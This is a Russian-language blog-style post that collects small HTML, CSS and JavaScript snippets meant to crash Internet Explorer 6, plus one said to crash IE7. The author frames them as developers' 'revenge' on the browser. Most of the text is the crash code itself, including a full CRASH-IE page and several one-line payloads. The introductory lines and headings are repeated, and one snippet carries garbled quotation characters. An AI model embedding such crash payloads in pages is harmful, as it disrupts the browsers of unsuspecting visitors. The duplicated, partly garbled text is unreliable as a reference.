Кому не ненавистен IE6? К сожалению, разработчикам приходится иметь дело с этим устаревшим браузером из-за значительного количество использующих его людей.
Здесь приводится маленький неисчерпывающий список кода, который заставляет IE6 упасть.
Всё же после таких мучений для разработчиков разве не можем мы иметь право отомстить?
Начнем с самого длинного:
Javascript и IE6, настоящая история любви…
Этот был обнаружен в прошлом году:
Анти-IE Javascript наносит ответный удар!
А теперь мой любимый: 11 символов и бум:
Это единственный, известный мне, который кладет IE7:
Здесь приводится маленький неисчерпывающий список кода, который заставляет IE6 упасть.
Всё же после таких мучений для разработчиков разве не можем мы иметь право отомстить?
Начнем с самого длинного:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html> <head> <title>CRASH-IE</title> <style type="text/css"> html, body { overflow: hidden; scrollbar-base-color: #330066; } .crash { position:absolute; left:200px; top:200px; width:200px; } </style> <script type="text/javascript"> function galgenfrist() { window.setTimeout('crashIE();',1000); } function crashIE() { var moveNode = document.getElementById("move"); if(moveNode) { moveNode.style.top = "100px"; moveNode.style.left = "200px"; } } </script> </head> <body onload="galgenfrist();"> <h1>CRASH-IE</h1> <div id="move" class="crash"> <table> <tbody> <tr> <td> <textarea></textarea> </td> </tr> </tbody> </table> </div> </body> </html>
Javascript и IE6, настоящая история любви…
<script>for (x in document.write) { document.write(x);}</script>
Этот был обнаружен в прошлом году:
<style>*{position:relative}</style><table><input></table>
Анти-IE Javascript наносит ответный удар!
<body onLoad=â€window()â€>
А теперь мой любимый: 11 символов и бум:
<STYLE>@;/*
Это единственный, известный мне, который кладет IE7:
function getX( oElement ) { var iReturnValue = 0; while( oElement != null ) { iReturnValue += oElement.offsetLeft; oElement = oElement.offsetParent; } return iReturnValue; }
